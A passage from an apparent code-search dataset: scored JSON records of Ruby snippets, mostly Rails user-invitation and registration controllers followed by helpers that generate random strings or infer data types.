"title": "" }, { "docid": "faba344fcaaa86a876f108539623d762", "score": "0.67382014", "text": "def create\n _user_not_anonymous\n @user = CwaIpaUser.new\n @project = Project.find(Redmine::Cwa.project_id)\n\n if !params[:saa] \n flash[:error] = \"Please indicate that you accept the system access agreement\"\n redirect_to :action => :index\n return\n end\n\n if !params[:tos]\n flash[:error] = \"Please indicate that you accept the terms of service\"\n redirect_to :action => :index\n return\n end\n\n # TODO \n # 1. Call REST to messaging service to notify about account creation\n # 2. Add user to research-computing project\n @user.passwd = params['netid_password']\n\n begin\n @user.create\n rescue Exception => e\n flash[:error] = \"Registration failed: \" + e.to_s\n else\n logger.info \"Account #{@user.uid.first} provisioned in FreeIPA\"\n\n # Add them to the project... allows notifications\n @project.members << Member.new(:user => User.current, :roles => [Role.find_by_name(\"Watcher\")])\n\n CwaMailer.activation(@user).deliver\n\n flash[:notice] = 'You are now successfully registered!'\n end\n redirect_to :action => :index\n end", "title": "" }, { "docid": "4aa807e2dd33475a004ea9fae87bf332", "score": "0.6734673", "text": "def create\n logger.info('~log_invite: ' + invite_params.to_s)\n logger.info('~log_invite: ' + invite_params['reciever'])\n @invite = Invite.new(invite_params)\n @invite.sender = current_user.email\n @invite.accepted = false\n\n # check if target exists?\n invite_old = Invite.find_by(sender: current_user.email, reciever: invite_params['reciever'])\n invite_back = Invite.find_by(reciever: current_user.email, sender: invite_params['reciever'])\n\n logger.info('~log_no_old: ' + invite_old.nil?.to_s)\n logger.info('~log_no_back: ' + invite_back.nil?.to_s)\n\n ok = true\n\n ok = @invite.save if invite_old.nil?\n\n unless invite_back.nil?\n invite_back.accepted = true\n ok = (invite_back.save && ok)\n if invite_old.nil?\n @invite.accepted = true\n ok = (@invite.save && ok)\n else\n invite_old.accepted = true\n ok = (invite_old.save && ok)\n end\n end\n\n respond_to do |format|\n if ok\n format.html # { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n else\n format.html { render :new }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "efa7bd46550f7f6638bacb9a1c24bd08", "score": "0.6730777", "text": "def create\n @invite = Invite.new(invite_params)\n @invite[:token] = @invite.generate_token\n @invitee = @invite.find_invitee\n\n if @invite.to_existing_user?\n respond_to do |format|\n if @invite.save\n #round out the invites TODO: add these methods to user.rb instead:\n @invitee.memberships << Membership.new(member_id: @invitee.id, list_id: @invite.list_id)\n @invite.sender.memberships << Membership.new(member_id: @invite.sender_id, list_id: @invite.list_id)\n ExistingInviteMailer.existing_invite_mailer(@invite).deliver_now\n\n format.html { redirect_to list_path(@invite.list), notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n else\n format.html { render :new }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end #end respond_to\n\n else #exising user?\n\n respond_to do |format|\n if @invite.save\n InviteMailer.new_invite_mailer(@invite).deliver_now\n #assign the sender the membership as well, TODO: move logic to user.rb\n @invite.sender.memberships << Membership.new(member_id: @invite.sender_id, list_id: @invite.list_id)\n format.html { redirect_to list_path(@invite.list), notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n else\n format.html { render :new }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end #determining existing user\n end", "title": "" }, { "docid": "b1612b7c07465cf218c734563a7701a8", "score": "0.67285854", "text": "def create_user\n return @user.send_confirmation_instructions if @user\n\n @user = User.create!(new_agent_params.slice(:email, :name, :password, :password_confirmation))\n end", "title": "" }, { "docid": "3a2dc43cc4c157bfcbcfe174ccd30339", "score": "0.6726561", "text": "def create\n super\n\n if new_usuario_params[:password].blank?\n new_usuario_params.delete(:password)\n new_usuario_params.delete(:password_confirmation)\n end\n\n @usuario = Usuario.invite!(new_usuario_params,current_usuario)\n\n #current_taller.add_usuario(@usuario)\n\n\n respond_to do |format|\n if @usuario.valid?\n format.html { usuarios_path }\n format.json { render :show, status: :created, location: @usuario }\n else\n format.html { render :new }\n format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0475747695e0b452db7f48e3ca00e274", "score": "0.6723192", "text": "def invited_user_registered(user)\n\t\t\tUserMailer.delay.user_registered_confirmation(user)\n\t\tend", "title": "" }, { "docid": "19af7bf59498bf558d98b417455ebf91", "score": "0.6720024", "text": "def organization_invite(org_invite)\n new_user = !org_invite.user.confirmed?\n confirmation_link = new_user ? user_confirmation_url(confirmation_token: org_invite.user.confirmation_token) : org_invite_url(org_invite, token: org_invite.token)\n email_template = new_user ? 'organization-invite-new-user' : existing_user_template(org_invite)\n\n MnoEnterprise::MailClient.deliver(email_template,\n default_sender,\n recipient(org_invite.user,new_user),\n invite_vars(org_invite,new_user).merge(confirmation_link: confirmation_link)\n )\n end", "title": "" }, { "docid": "ce649c829b6ecb67fca719bd2d4f6ed5", "score": "0.6718604", "text": "def accept\n if self.check_user && self.check_owner_user\n\n @user = User.find(@invite[:user_id])\n @user[:guild_id] = @guild[:id]\n\n Invite.all.where(:user_id => @user[:id]).destroy_all\n @user.save\n\n head :no_content\n else\n render json: { }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4e315f8957eed5123b8e9c93ecf8bf86", "score": "0.6714204", "text": "def create\n @user = User.new(params[:user])\n if @user.save\n flash[:notice] = \"#{@user.full_name} invited successfully\"\n redirect_to admin_users_path\n else\n msg = []\n flash[:error] = @user.errors.full_messages.each{|e| msg << \"#{e}\" unless msg.include?(e)}\n render 'new'\n end\n end", "title": "" }, { "docid": "fcd777675c391439a217d73f6392cf1c", "score": "0.6709723", "text": "def create\n\n if User.exists? email: params[:user][:email]\n user = User.find_by_email params[:user][:email]\n if user.invited_to_sign_up?\n Rails.logger.warn \"User #{user.email} was invited but instead of accepting the invitation is signing up normally. Destroying old user record before signup.\"\n user.destroy\n end\n end\n\n super\n end", "title": "" }, { "docid": "7593eade4e53556ab3795850ff452cde", "score": "0.67007", "text": "def invite_friend(user, invitation)\n @user = user\n @invitation = invitation\n\n mail to: @invitation.email, subject: \"Invitation to connect@ustksa\"\n end", "title": "" }, { "docid": "2c78370bc493f8dada3745d86e5553e0", "score": "0.66956687", "text": "def invite_user(invitation,subject,message)\n @subject = subject\n @sign_up_url = new_user_registration_url(:token => invitation.token)\n @invitation = invitation\n @message = message\n mail( :from => invitation.user.email,\n :to => invitation.email,\n :subject => subject )\n end", "title": "" }, { "docid": "dc78a72d422972947146c7a97faaad90", "score": "0.6695482", "text": "def invite_user(param)\n email_addresses.set param[:email]\n is_owner.set(true) if param[:owner] == 'true'\n unless nil_or_empty?(param[:apps])\n param[:apps].each_with_index do |item, index|\n app_drop_down.select item\n role_drop_down.select param[:roles][index] if param[:roles]\n site_drop_down.select param[:sites][index] if param[:sites]\n add_new_app.click\n end\n end\n invite_button.click\n end", "title": "" }, { "docid": "eacd8d88a88a644ee7a9e055419f62e1", "score": "0.6687194", "text": "def invite_new_users(users)\n user_email_map = user_email_map(users.map { |user| user[:email] })\n\n users.map do |user|\n course_user = @current_course.course_users.build(name: user[:name], workflow_state: :invited,\n creator: @current_user,\n updater: @current_user)\n user_email = user_email_map[user[:email]] || User::Email.new(email: user[:email])\n user_email.skip_confirmation!\n course_user.build_invitation(user_email: user_email, creator: @current_user,\n updater: @current_user)\n end\n end", "title": "" }, { "docid": "2bb1c2c5a3e5f8fbedd4d759b35f79fb", "score": "0.66776663", "text": "def signup!(user, prompt, &block)\n return save(true, &block) if openid_complete?\n return signup_as_invitee!(user, prompt, &block) if user and user[:invitation_id]\n signup_without_credentials!(user, &block)\n end", "title": "" }, { "docid": "2bb1c2c5a3e5f8fbedd4d759b35f79fb", "score": "0.66776663", "text": "def signup!(user, prompt, &block)\n return save(true, &block) if openid_complete?\n return signup_as_invitee!(user, prompt, &block) if user and user[:invitation_id]\n signup_without_credentials!(user, &block)\n end", "title": "" }, { "docid": "9ca3f2c015c11175aea56fbadba4f447", "score": "0.6677473", "text": "def accept_invite_for_user(user)\n invite = Invite.find(session[:invite_id])\n res = invite.accepted_by(user)\n session[:invite_id] = nil\n res\n end", "title": "" }, { "docid": "a1836937a45fd21e2326305bb131e55d", "score": "0.66766346", "text": "def invite_to_mesa\n unless UserMission.exists?(params[:user_id],params[:mesa_id]).nil?\n user=User.find(params[:user_id])\n send_invite(user)\n end\n respond_to do |format|\n if @mission_invitation\n format.html { redirect_to @mission, notice: 'Mission was successfully created.' }\n format.json { render :json=> {:status => true} }\n else\n format.html { render :new }\n format.json { render :json=> {:error => 'Invalid user id,mesa id or duplicate invitation', :status => false} }\n end\n end\n end", "title": "" }, { "docid": "89b09eeb59348e48346dd0ad0e1605dd", "score": "0.6671761", "text": "def create\n @invite = Invite.new(invite_params)\n\n if (self.admin? || (self.check_user && self.check_no_guild && self.check_own_invite)) && @invite.save\n render json: @invite, status: :created\n else\n render json: @invite.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a270d3f9f5d5b2bbcd06b305ced9f505", "score": "0.66510737", "text": "def invitation(user)\n @user = user\n mail to: user.email\n end", "title": "" }, { "docid": "f575634bfd96322064ddacbef505b1c4", "score": "0.6650837", "text": "def deliver_invite_to_resident(resident, user)\n return\n end", "title": "" }, { "docid": "518d29d7a9e8ca50bc9d19343032dbe0", "score": "0.6647905", "text": "def call(user)\n return unless user.invite_token\n invite = Invite.find_by_invite_token(user.invite_token)\n invite.update!(grader_id: user.id) if invite\n end", "title": "" }, { "docid": "487f87ac7a78a60373e45724c60f7e04", "score": "0.6643534", "text": "def create\n @user = User.new params[:user]\n invite_code = params[:invite_code]\n @invite = Invite.find_redeemable(invite_code)\n\n if invite_code && @invite\n if @user.save\n @invite.redeemed!\n ClearanceMailer.deliver_confirmation @user\n flash[:notice] = \"You will receive an email within the next few minutes. \" <<\n \"It contains instructions for confirming your account.\"\n redirect_to url_after_create\n else\n render :action => \"new\"\n end\n else\n flash.now[:notice] = \"Sorry, that code is not redeemable\"\n render :action => \"new\"\n end\n end", "title": "" }, { "docid": "ff33e0613862674660621a92957fd5aa", "score": "0.6632674", "text": "def create\n ## Duplicate email path\n @user = User.where(:invite_token => params[:id], :status => \"invitee\").first\n @user.update_attributes(:email => params[:user][:email], :name => params[:user][:name])\n\n @role = @user.roles.first\n UserMailer.ticket_invite(:user => @user, :role => @role, :inviter => current_user).deliver\n redirect_to :back\n end", "title": "" }, { "docid": "8bef08d1c1c58babea2670220b215a65", "score": "0.66169775", "text": "def create\n @user = User.find(params[:user_id])\n\n @invitation = Invitation.new(params[:invitation])\n @invitation.user = @user\n\n respond_to do |format|\n if @invitation.save\n flash[:notice] = 'Invitation was successfully created.'\n #flash.discard\n format.html { \n unless params[:welcome]\n redirect_to user_path(@invitation.user) \n else\n redirect_to welcome_complete_user_path(@invitation.user) \n end\n }\n else\n format.html { render :action => \"new\" }\n end\n end\nend", "title": "" }, { "docid": "1d50556345fec7dde821fa9ab68c9a4c", "score": "0.66160905", "text": "def create_user\n @user = User.new(params[:user])\n @user.activate!\n if @user.save\n current_user_session.destroy\n\t\t\t@user_session = UserSession.create!(:username => @user.username, :password => @user.password)\n\n puts \"00000000000000000000000000000000000000\"\n puts @user_session.inspect\n\n redirect_to accept_invite_token_path(:portal_id => @portal.id, :token => @invite_token.token)\n else\t\t \n render :action => :new_user\n end\n\tend", "title": "" }, { "docid": "71b5961e0acb36c6a69317ac52820db8", "score": "0.6613158", "text": "def create\n\t\t\n\t\tcourse = { course_id: @course.id }\n\t\tcourse_invite = course.merge( invite_params )\n\t\t@invite = @course.invites.new(course_invite)\n\t\t\n\t\t@email = invite_params[:email]\n\t\tif @email.nil?\n\t\t\t\tflash[:danger] = 'Email cannot be blank'\n\t\t\t\trender 'new'\n\t\telsif @email != @current_user.email\n\t\t\tif (User.find_by_email(@email) != nil) && @invite.valid?\n\t\t\t\[email protected] \n\t\t\t\t@user = User.find_by_email(@email)\n\t\t\t\tTutor.create!(user_id: @user.id, course_id: @course.id)\n\t\t\t\tflash[:success] = 'User successfully added to course'\n\t\t\t\tredirect_to course_members_path(@course)\n\t\t\telse\n\t\t\t\tflash[:danger] = 'Email does not exist in database. User must have an existing account to be invited to join a course. Sign up email sent to supplied email address'\n\t\t\t\tInviteMailer.invite(@current_user, @course, @email).deliver_now\n\t\t\t\tredirect_to course_members_path(@course)\n\t\t\tend\n\t\telse\n\t\t\trender 'new'\n\t\t\tflash.now[:danger] = \"You are already the course convenor, you may not invite yourself to join the course.\"\n\t\tend\n\tend", "title": "" }, { "docid": "a0620e9a7adb549d19008ebbbd97b846", "score": "0.6601019", "text": "def create\n @invite = current_dwelling.invites.new(params[:invite])\n if @invite.save\n # Mail a link to join the dwelling to the invitee.\n InviteMailer.invite(@invite, invites_url(@invite.token)).deliver\n end\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to dwelling_path(@invite.dwelling_id),\n notice: 'Invite was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "53dc644d986e7d126d020dd26bf434dd", "score": "0.65990883", "text": "def create\n @user = User.new(user_params) \n if @user.save\n # Send activation link as email (and SMS)\n # url = HTTParty.get(\"#{ENV['MVAAYOO_URL']}?user=#{ENV['MVAAYOO_USER']}:#{ENV['MVAAYOO_PASSWORD']}&senderID=TEST%20SMS&receipientno=#{@user.phone}&msgtxt=New verification for #{@college_ver.name}. Name: #{@verification_request.name}. Hallticket: #{@verification_request.hallticket_no}&state=4\")\n @user.send_activation_email\n flash[:info] = \"Please check your email to activate your account.\"\n redirect_to login_url\n else\n render 'new'\n end\n\n end", "title": "" }, { "docid": "3b28b486acc6b959f474956b14ae70c6", "score": "0.6596683", "text": "def create\n @invitation = Invitation.new(invitation_params)\n @invitation.sender = current_user\n\t path = request.host_with_port\n if @invitation.save\n if user_signed_in?\n Mailer.invite_friend(@invitation,current_user, path+new_user_registration_path(:invitation_token => @invitation.token)).deliver\n flash[:notice] = \"Thank you, invitation sent.\"\n redirect_to users_url\n else\n flash[:notice] = \"Thank you, we will notify when we are ready.\"\n redirect_to root_url\n end\n else\n render :action => 'new'\n end\n end", "title": "" }, { "docid": "122ed4a34d8f03eacb2df0de70b1b8ab", "score": "0.6592388", "text": "def invite!\n #logger.debug 'invite called'\n self.confirm!\n super\n #self.confirmed_at = Time.now\n #self.save\n end", "title": "" }, { "docid": "130cf1a23f1e3964de6bf86727917f1c", "score": "0.6590408", "text": "def create\n @user = User.new(params[:user])\n invite_code = params.fetch(:invite_code)\n\n respond_to do |format|\n if invite_code != current_org.invite_code\n format.html { \n flash[:notice] = 'You need an invite code to join!'\n render action: \"new\"\n }\n elsif @user.save\n OpenExamMailer.registration_confirmation(@user).deliver\n session[:user_id] = @user.id\n format.html { redirect_to root_url, notice: 'Thanks for joining OpenExam!' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34ae12c8eaec4664b43743b11cc67f60", "score": "0.65809345", "text": "def create\n @user = User.new(user_params)\n if @user.save\n @user.send_activation_email\n flash[:info] = \"Please check your email to activate your account.\"\n redirect_to root_url\n else\n render \"users/new\"\n end\n end", "title": "" }, { "docid": "b787d5900f67e006b00ddc979b5d2aee", "score": "0.65619266", "text": "def invite_people\n end", "title": "" }, { "docid": "c047ce674d78f9457b41e1382efadc19", "score": "0.6556736", "text": "def accept\n if not user_signed_in?\n redirect_to new_user_session_path\n else\n invites = PendingInvite.where(user_id: current_user, invite_id: params[:user_id])\n\n if invites.exists?\n # Remove invite\n invites.destroy_all\n\n # Add firendship relation\n User.find(params[:user_id]).friends << current_user\n current_user.friends << User.find(params[:user_id])\n end\n\n redirect_to friends_path\n end\n end", "title": "" }, { "docid": "3cd345a940e9fd4b09ced84f9ea4250b", "score": "0.6547247", "text": "def call\n context.user = User.find_by_telegram_id(context.telegram_user.id)\n return if context.user\n\n context.is_new_user = true\n context.user = User.create(\n telegram_id: context.telegram_user.id,\n )\n end", "title": "" }, { "docid": "0f4077904b2e8d2078fea18de21fefe0", "score": "0.6545147", "text": "def make_user(params = {})\n self.user= account.users.build_with_fields params.reverse_merge(:email => email, :invitation => self)\n end", "title": "" }, { "docid": "fe08d2861ddcc0dd3d1e18afbad1fdfc", "score": "0.65415806", "text": "def create\n user = User.find_by_email params[:user][:email]\n if user.blank?\n @user = User.create(user_params.merge(guest: true, invitation_token: generate_token))\n link_to_property @user, params[:user][:property_id] unless params[:user][:property_id].blank?\n UsersMailer.delay.invite_new_user current_user, @user\n end\n redirect_to properties_path\n end", "title": "" } ]
b7db6cc74fce241c82740eff076853b8
Produces a random type that's either a String or an Integer.
[ { "docid": "989cac712a174e06b5f29e1976f8a7be", "score": "0.82403773", "text": "def random_type\n type_to_use = SIMPLE_TYPES[rand(0..SIMPLE_TYPES.length - 1)]\n case type_to_use\n when :string\n rb_string\n when :fixnum\n rb_integer\n end\n end", "title": "" } ]
[ { "docid": "354cb17b64f4413cd7cf87f6bb0ec39d", "score": "0.6685116", "text": "def auto_type\n random_type = [\"Fire\", \"Water\", \"Grass\", \"Rock\"]\n random_type.sample\n end", "title": "" }, { "docid": "6190b6f7e8fe39e6c75e71463784029a", "score": "0.66532546", "text": "def type_string\n \"int\"\n end", "title": "" }, { "docid": "2a8c41b9659470f0da072c9e9da387a7", "score": "0.6623086", "text": "def random_type\n # Type is randomly selected given the approximate distribution of types:\n type_random_sample = rand\n if type_random_sample > 0.67\n :heavy\n elsif type_random_sample <= 0.67 && type_random_sample > 0.21\n :large\n else\n :small\n end\n end", "title": "" }, { "docid": "d365b8b53256c2e7742516213cf377a8", "score": "0.620061", "text": "def generate_value\n # TODO: switching on type is a code smell. These are really different subclasses of a variables class.\n case type\n when 'string'\n return @value\n when 'random'\n return SecureRandom.hex(4)\n when 'openssl_pkey_rsa'\n return OpenSSL::PKey::RSA.new(2048).to_pem\n else\n raise \"Unhandled type #{type}\"\n end\n end", "title": "" }, { "docid": "9ee8c618ceb20890a4ffdc84fa832d79", "score": "0.61807144", "text": "def type(str='unit8')\n @type ||= str\n end", "title": "" }, { "docid": "75f0b9e5526e6a9e46928fba3e42a883", "score": "0.6161401", "text": "def surrogate_type\n case @surrogate_method\n when 'guid'\n [\"GUID\", {auto_assign: 'guid'}]\n when 'hash'\n hash_type\n else # counter\n type_name, min, max, length = choose_integer_range(0, 2**(default_autoincrement_length-1)-1)\n type_name\n end\n end", "title": "" }, { "docid": "1eb8433bb43f4b7d00fe777f1d165712", "score": "0.61032945", "text": "def get_type\n #@type = type\n get_type_array.sample\n end", "title": "" }, { "docid": "8b5aed87ac194845bb9624d97d39bbae", "score": "0.60883385", "text": "def type_string\n \"String\"\n end", "title": "" }, { "docid": "3d123439377a638191297107496815bf", "score": "0.60673", "text": "def create_type\n\t\t#randomly room's type decided.\n\t\tnumber = @@counter %3\n\t\tif number == 0\n\t\t\t@type = \"forager\"\n\t\telsif number == 1\n\t\t\t@type = \"builder\"\n\t\telse\n\t\t\t@type = \"warrior\"\n\t\tend\n\t\t\t\n\t\t@@counter += 1\n\tend", "title": "" }, { "docid": "1e5a04e549f796c56867be05916a4800", "score": "0.6050034", "text": "def simple_type text\n Integer(text) rescue Float(text) rescue text\n end", "title": "" }, { "docid": "396737adeaf756df24c33bf6073514b4", "score": "0.60049504", "text": "def human_type\n self.class::TYPES.key(type) || '0x%04x' % type\n end", "title": "" }, { "docid": "cfe6eaed00feb55d7a0736fdd3824c1f", "score": "0.5970614", "text": "def type\n unless @type\n if (match = @data.fetch(:type).match(/^([A-z]+)$/))\n @maxlength = false\n type = match[0].downcase.to_sym\n elsif (match = @data.fetch(:type).match(/^decimal\\((\\d+),(\\d+)\\)$/))\n @maxlength = \"#{match[1]},#{match[2]}\"\n type = :decimal\n elsif (match = @data.fetch(:type).match(/^enum\\((.+)\\)$/))\n @maxlength = match[1]\n type = :enum\n elsif (match = @data.fetch(:type).match(/^(.+)\\((\\d+)\\)$/))\n @maxlength = match[2]\n type = match[1].to_sym\n elsif @data.key?(:type) && @data.fetch(:type).to_s == \"\"\n return @data[:type] # A type can actually be empty in SQLite... Wtf?\n end\n\n if type == :integer\n @type = :int\n else\n @type = type\n end\n\n raise \"Still not type? (#{@data})\" if @type.to_s.strip.empty?\n end\n\n @type\n end", "title": "" }, { "docid": "abb0329676636e2d59bd6ecfbaf2652f", "score": "0.5936894", "text": "def is_string_or_integer(str)\n if [String, Integer, Array].include?(str.class)\n str.class.to_s\n else\n \"Something Else\"\n end\nend", "title": "" }, { "docid": "5f7694419ee974ff00aeaa9e30ed3cb1", "score": "0.59234804", "text": "def human_type\n TYPES[type]\n end", "title": "" }, { "docid": "854ab804df394a7a08cef679fcca02d1", "score": "0.5916691", "text": "def type\n if !@type\n if match = @args[:data][:type].match(/^([A-z]+)$/)\n @maxlength = false\n type = match[0].to_sym\n elsif match = @args[:data][:type].match(/^decimal\\((\\d+),(\\d+)\\)$/)\n @maxlength = \"#{match[1]},#{match[2]}\"\n type = :decimal\n elsif match = @args[:data][:type].match(/^enum\\((.+)\\)$/)\n @maxlength = match[1]\n type = :enum\n elsif match = @args[:data][:type].match(/^(.+)\\((\\d+)\\)$/)\n @maxlength = match[2]\n type = match[1].to_sym\n end\n \n if type == :integer\n @type = :int\n else\n @type = type\n end\n \n raise \"Still not type?\" if @type.to_s.strip.length <= 0\n end\n \n return @type\n end", "title": "" }, { "docid": "3de558d0651b028171a8dd2d2fa97bc4", "score": "0.58838505", "text": "def type_str\n Types.type_str(type)\n end", "title": "" }, { "docid": "9706060692b63ccff834de518a4d2b6a", "score": "0.58711475", "text": "def get_random_organization_type\n ORG_TYPES[rand(ORG_TYPES.size)]\nend", "title": "" }, { "docid": "a8ee3cea365b1098bd136eb06564232a", "score": "0.58638036", "text": "def random_string(size=32, type=:an, chars=nil)\n if not type.to_sym == :chars\n types = {\n any: '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*()_-+={[}]|:;<,>.?/',\n an: '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',\n anl: '0123456789abcdefghijklmnopqrstuvwxyz'\n }\n chars = types[type.to_sym].split(\"\")\n end\n opts = chars.size\n 1.upto(size).map{chars[rand(opts)]}.join\n end", "title": "" }, { "docid": "b905c4cc650dce0514b00301bfa2f27c", "score": "0.5845008", "text": "def type\n @type ||= :string\n end", "title": "" }, { "docid": "36ab85c25f133e135237b1bdb2b48fd2", "score": "0.58444065", "text": "def parse_type(htype)\n case htype\n when 'DECIMAL'\n return ActiveRecord::Type::Decimal.new\n \n when 'INTEGER','SMALLINT'\n return ActiveRecord::Type::Integer.new\n \n when 'BIGINT'\n return ActiveRecord::Type::BigInteger.new\n when 'NVARCHAR'\n return ActiveRecord::Type::Text.new\n when 'BLOB'\n return ActiveRecord::Type::Binary.new\n when 'TIMESTAMP'\n return ActiveRecord::Type::Date.new\n else\n end\n \n return \"not defined: #{htype}\"\n end", "title": "" }, { "docid": "01b40e83256c4cbc341b56eb030f236f", "score": "0.5844071", "text": "def type_of(value)\n case value\n when Integer then :number\n else value.class.to_s.downcase.to_sym\n end\n end", "title": "" }, { "docid": "48fb3dae26a82debe3cca0438c977757", "score": "0.58404654", "text": "def generic_sample_type\n sample_type = SampleType.find_by_name(GENERIC_SAMPLE_TYPE)\n return sample_type if sample_type.present?\n\n SampleType.create_from_raw(\n {\n name: GENERIC_SAMPLE_TYPE,\n description: DESCRIPTION\n }\n )\n end", "title": "" }, { "docid": "9edaab0fd673858f93c06e2270ecddda", "score": "0.5829888", "text": "def type\n if has_attribute?('type')\n attribute_value('type')\n else\n 'string'\n end\n end", "title": "" }, { "docid": "5e812db6dea9ba6e9521fe42ff5a47ca", "score": "0.58156997", "text": "def type\n a = self[:type]\n (a == default) ? self['type'] : a\n end", "title": "" }, { "docid": "c5f9fc2e8909720008697ff8571cd208", "score": "0.5812204", "text": "def type(str)\n automatically \"type #{str}\"\n end", "title": "" }, { "docid": "123ab3df0156b1c0e324e7a5c6260c87", "score": "0.58121985", "text": "def type(value)\n _type(value) or fail ArgumentError, \"Unknown value for type: #{value}\"\n end", "title": "" }, { "docid": "123ab3df0156b1c0e324e7a5c6260c87", "score": "0.58121985", "text": "def type(value)\n _type(value) or fail ArgumentError, \"Unknown value for type: #{value}\"\n end", "title": "" }, { "docid": "2f712a54185a8984ec69e51aa526fc57", "score": "0.581216", "text": "def parse_to_type(str)\n\n parsed_value = \\\n case @type\n when :numeric\n str.to_i\n when :string\n # No typing specified or actively disabled, just return the object\n str\n when :bool\n str == \"true\"\n when Array\n str.intern\n else\n str\n end\n\n @value = parsed_value\n end", "title": "" }, { "docid": "ba26a06662de5a7eba5a6b15f49abbaf", "score": "0.5799724", "text": "def type(data)\n if data.is_a? Numeric\n 'numeric'\n elsif data.is_a? String\n 'text'\n else\n data.class.to_s.downcase\n end\n end", "title": "" }, { "docid": "7866baa0907cd7a1bf7f68c3867157d5", "score": "0.5789869", "text": "def type(str, opts = {})\n not_supported('type')\n end", "title": "" }, { "docid": "381a3f5002d7e60dc068af91d57e0105", "score": "0.5788069", "text": "def type\n @type = Kiwi.find_const @type if String === @type\n @type\n end", "title": "" }, { "docid": "ed1177c5dfe0cf6bbef08946351f3c85", "score": "0.57742953", "text": "def postgres_type(id)\n case id\n when 20..23 then :integer\n when (1015 or 1043) then :string\n when 16 then :boolean\n when 25 then :text\n when 700..701 then :float\n when 1002 then :character\n when 1082 then :date\n when 1114 then :datetime\n when 16402 then:geometry\n else \n :string\n end\n end", "title": "" }, { "docid": "e7cf4c8bff005b9d4fa7a6529e899058", "score": "0.57693213", "text": "def string(args = {})\n finished,value = default_and_nil(args)\n return value if finished\n \n return send(args[:type]) if args[:type]\n\n max = args[:max] || 255\n size = set_size(max, (args[:min] || 1))\n chars = eval(\"@#{args[:characters]}\") if args[:characters]\n chars ||= @any\n return (1..size).collect{|a| chars[rand(chars.size)] }.join\n end", "title": "" }, { "docid": "fefc5d0da1c33c8123908b3e4d6aa49d", "score": "0.57678294", "text": "def type_for(value)\n case value\n when Numeric\n :numeric\n when String\n :string\n when true, false\n :logical\n when :add, :subtract, :multiply, :divide, :mod, :pow\n :operator\n when :open, :close, :comma\n :grouping\n when :le, :ge, :ne, :ne, :lt, :gt, :eq\n :comparator\n when :and, :or\n :combinator\n when :if, :round, :roundup, :rounddown, :not\n :function\n else\n :identifier\n end\nend", "title": "" }, { "docid": "71259a0023a2ceffb317e3afce1901ed", "score": "0.5767524", "text": "def dummy_type\n type\n end", "title": "" }, { "docid": "da83fd95e6a8656c459341e6caf59cb6", "score": "0.5756618", "text": "def typeof(value)\n `typeof #{value}`\n end", "title": "" }, { "docid": "5ab686b72acb3cb7f80fa6a7a33b41c4", "score": "0.57550603", "text": "def _type(obj, has_invisible=true)\n\n obj = obj.strip_invisible if obj.kind_of?(String) and has_invisible\n\n if obj.nil?\n return NilClass\n elsif obj.kind_of?(Fixnum) or obj.int?\n return Fixnum\n elsif obj.kind_of?(Float) or obj.number?\n return Float\n else\n return String\n end\n end", "title": "" }, { "docid": "95ee2a9d7b3bcd63919aa623aca1ca5a", "score": "0.57423526", "text": "def type\n return @type if @type != nil\n #add regex checks here to figure out type, and store it in @type\n end", "title": "" }, { "docid": "c33f1c9b78b7d65155bc547b316d0fc2", "score": "0.57416844", "text": "def test_get_type_number\n val = Token.get_type '5'\n assert_equal 'number', val\n end", "title": "" }, { "docid": "a12d733cf9d27bc18ad8f3b14f971108", "score": "0.5726156", "text": "def create_sample_attribute_type\n Factory(:string_sample_attribute_type)\n end", "title": "" }, { "docid": "c1aecce80da12fc2f9ce89132c048fd4", "score": "0.5703767", "text": "def type_spec\n\t\ttoken = @current_token\n\t\tif @current_token.type == Token::INTEGER\n\t\t\teat(Token::INTEGER)\n\t\telse\n\t\t\teat(Token::REAL)\n\t\tend\n\t\tType.new(token)\n\tend", "title": "" }, { "docid": "06ee55bfc56437da88764004a0fb8923", "score": "0.5693865", "text": "def type\n if !@type\n if match = @args[:data][:Type].match(/^([A-z]+)$/)\n @maxlength = false\n @type = match[0].to_sym\n elsif match = @args[:data][:Type].match(/^decimal\\((\\d+),(\\d+)\\)$/)\n @maxlength = \"#{match[1]},#{match[2]}\"\n @type = :decimal\n elsif match = @args[:data][:Type].match(/^enum\\((.+)\\)$/)\n @maxlength = match[1]\n @type = :enum\n elsif match = @args[:data][:Type].match(/^(.+)\\((\\d+)\\)/)\n @maxlength = match[2].to_i\n @type = match[1].to_sym\n end\n \n raise \"Still not type from: '#{@args[:data][:Type]}'.\" if @type.to_s.strip.length <= 0\n end\n \n return @type\n end", "title": "" }, { "docid": "5c6184316324009e642242d60da87f94", "score": "0.56893694", "text": "def determine_type value\n if boolean? value\n return Axiom::Types::Boolean\n elsif integer? value\n return Integer\n elsif float? value\n return Float\n elsif json? value\n return MultiJson\n else\n return String\n end\n end", "title": "" }, { "docid": "449f86cd7a4ed760d9d6f33872723d14", "score": "0.5684062", "text": "def human_type\n if human_types?\n htype = self.class::TYPES[type]\n htype = type if htype.nil?\n htype.to_s\n else\n type.to_s\n end\n end", "title": "" }, { "docid": "1020a400af3fce73bf769a06eb670b0c", "score": "0.5676418", "text": "def human_type\n Core::TYPES_DESC[type]\n end", "title": "" }, { "docid": "5ae050cb9006d8b5670f88be0cf07a86", "score": "0.5675779", "text": "def type\n unless @type\n if (match = @data.fetch(:Type).match(/^([A-z]+)$/))\n @maxlength = false\n @type = match[0].to_sym\n elsif (match = @data.fetch(:Type).match(/^decimal\\((\\d+),(\\d+)\\)$/))\n 